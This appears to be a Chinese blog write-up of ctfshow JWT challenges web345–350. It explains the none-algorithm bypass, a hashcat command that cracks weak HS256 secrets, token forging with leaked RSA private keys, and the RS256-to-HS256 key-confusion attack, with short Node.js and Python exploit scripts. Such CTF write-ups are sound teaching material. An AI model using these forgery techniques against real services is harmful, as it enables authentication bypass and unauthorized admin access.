• ctfshow JWT (Web345-350)


    目录

    传统token与JWT方式的区别:

    <1> web345(None 无签名认证)

    <2> web346(None算法绕过签名)

    <3> web347(弱口令密钥)

    <4> web348(爆破)

    <5> web349(公钥私钥泄露)

    <6> web350(密钥混淆攻击 RS256=>HS256)


    传统token与JWT方式的区别:

    传统token方式:

    用户登录成功后,服务端生成一个随机token给用户,并且在服务端(数据库或缓存)中保存一份token,以后用户再来访问时需携带token,服务端接收到token之后,去数据库或缓存中进行校验token的是否超时、是否合法。

    jwt方式:

    用户登录成功后,服务端通过jwt生成一个随机token给用户(服务端无需保留token),以后用户再来访问时需携带token,服务端接收到token之后,通过jwt对token进行校验是否超时、是否合法

    <1> web345(None 无签名认证)

    进入题目:where is flag? 

    查看源码: 得到:

            抓个包看Cookie jwt decode之后得知 alg为None算法,无签名认证,我们放到JWT.io里构造JWT

             因为这里没用None算法签名,因此我们先改成HS256 更改sub为admin之后取签名 . 及之前部分,放到cookie中发包 请求/admin/

    <2> web346(None算法绕过签名)

    和上一道题一样,需要admin身份访问/admin/

    不同于上一题,"alg":"HS256" 表示这道题为:HS256加密作签名的JWT

    不过,JWT 支持将算法设定为 “None”。如果“alg” 字段设为“ None”,那么签名会被置空,这样任何 token 都是有效的

     我们修改alg为:"None", none也可以 然后修改sub为 admin 去掉后边签名部分(保留最后的 .)

    <3> web347(弱口令密钥)

    这一关是 HS256加密签名,无法None算法绕过,但是密钥是弱口令

    这里我们可以 c-jwt-cracker来爆破一下  hashcat也可以 其中一个爆不出来的时候就可以用另一个

    hashcat -a 0 -m 16500 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY2NzY1Njk0MiwiZXhwIjoxNjY3NjY0MTQyLCJuYmYiOjE2Njc2NTY5NDIsInN1YiI6InVzZXIiLCJqdGkiOiJkODMwMGU0MWJkZWI5Y2M1MjIzNzgxMDdkMDE2MzlhOCJ9.lYnVCfleYbtGCZMTtBlRHPn2b9AKLLa2qSe7ksQb53o jwt.secrets.list

    密钥为 123456

    到JWT.io 网站上填上密钥123456  修改sub为admin

     拿构造好的JWT 放入cookie中,发包请求/admin/ 得到flag

    <4> web348(爆破)

    同web347 爆破密钥 hashcat最终爆出来 aaab

     去 JWT.io 利用密钥 更改sub为admin之后再次Sign 放到cookie中 发包访问/admin/ 得到flag

    <5> web349(公钥私钥泄露)

     APP.js中得到一段js代码

    1. /* GET home page. */
    2. router.get('/', function(req, res, next) {
    3. res.type('html');
    4. var privateKey = fs.readFileSync(process.cwd()+'//public//private.key');
    5. var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });
    6. res.cookie('auth',token);
    7. res.end('where is flag?');
    8. });
    9. router.post('/',function(req,res,next){
    10. var flag="flag_here";
    11. res.type('html');
    12. var auth = req.cookies.auth;
    13. var cert = fs.readFileSync(process.cwd()+'//public/public.key'); // get public key
    14. jwt.verify(auth, cert, function(err, decoded) {
    15. if(decoded.user==='admin'){
    16. res.end(flag);
    17. }else{
    18. res.end('you are not admin');
    19. }
    20. });
    21. });

    公钥私钥泄露,访问/private.key /public.key 得到公钥密钥

    服务器利用私钥生成jwt,利用公钥解密jwt,所以我们只要有私钥然后自己重新生成就可以

    运行下面的js代码生成jwt (需要安装jsonwebtoken库 npm install jsonwebtoken --save)

    1. const jwt = require('jsonwebtoken');
    2. var fs = require('fs');
    3. var privateKey = fs.readFileSync('private.key');
    4. var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'RS256' });
    5. console.log(token)

    修改jwt后post方式访问 就可以得到flag
    或者python代码

    1. import jwt
    2. public = open('private.key', 'r').read()
    3. payload={"user":"admin"}
    4. print(jwt.encode(payload, key=public, algorithm='RS256'))

    <6> web350(密钥混淆攻击 RS256=>HS256)

    1. router.get('/', function(req, res, next) {
    2. res.type('html');
    3. var privateKey = fs.readFileSync(process.cwd()+'//routes/private.key');
    4. var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });
    5. res.cookie('auth',token);
    6. res.end('where is flag?');
    7. });
    8. router.post('/',function(req,res,next){
    9. var flag="flag_here";
    10. res.type('html');
    11. var auth = req.cookies.auth;
    12. var cert = fs.readFileSync(process.cwd()+'//routes/public.key'); // get public key
    13. jwt.verify(auth, cert,function(err, decoded) {
    14. if(decoded.user==='admin'){
    15. res.end(flag);
    16. }else{
    17. res.end('you are not admin'+err);
    18. }
    19. });
    20. });

    下载下来题目源码,得到public.key

    这里我们可以利用:将RS256算法改为HS256(非对称密码算法=>对称密码算法)

    绕过服务端签名检测,从而构造JWT

    解释:   

            HS256算法使用密钥为所有消息进行签名和验证。

            而RS256算法则使用私钥对消息进行签名使用公钥进行身份验证

    如果将算法从RS256改为HS256,则后端代码将使用公钥作为密钥,然后使用HS256算法验证签名。

            由于攻击者有时可以获取公钥,因此,攻击者可以将头部中的算法修改为HS256,然后使用RSA公钥对数据进行签名。

            这样的话,后端代码使用RSA公钥+HS256算法进行签名验证

    exp如下:

    1. const jwt = require('jsonwebtoken');
    2. var fs = require('fs');
    3. var privateKey = fs.readFileSync('public.key');
    4. var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
    5. console.log(token)

    执行得到 构造好的JWT,放入cookie中POST发包,得到flag

    (不知道为什么vscode执行会报没有模块,cmd下执行却没什么事)

  • 相关阅读:
    快速排序 O(nlgn)
    2022年最火的十大测试工具,你掌握了几个
    VEP Variant Effect Predictor支持哪些输入格式
    面试其他注意事项
    Java毕业设计-基于springboot开发的私人健身与教练预约系统-毕业论文+答辩PPT(有源代码)
    你把 vite打包 玩明白
    Leetcode622.设计循环队列
    基于卷积神经网络的手写字体识别(详细笔记)
    Linux安装MongoDB超详细
    什么是高可用架构
  • 原文地址:https://blog.csdn.net/weixin_63231007/article/details/127709700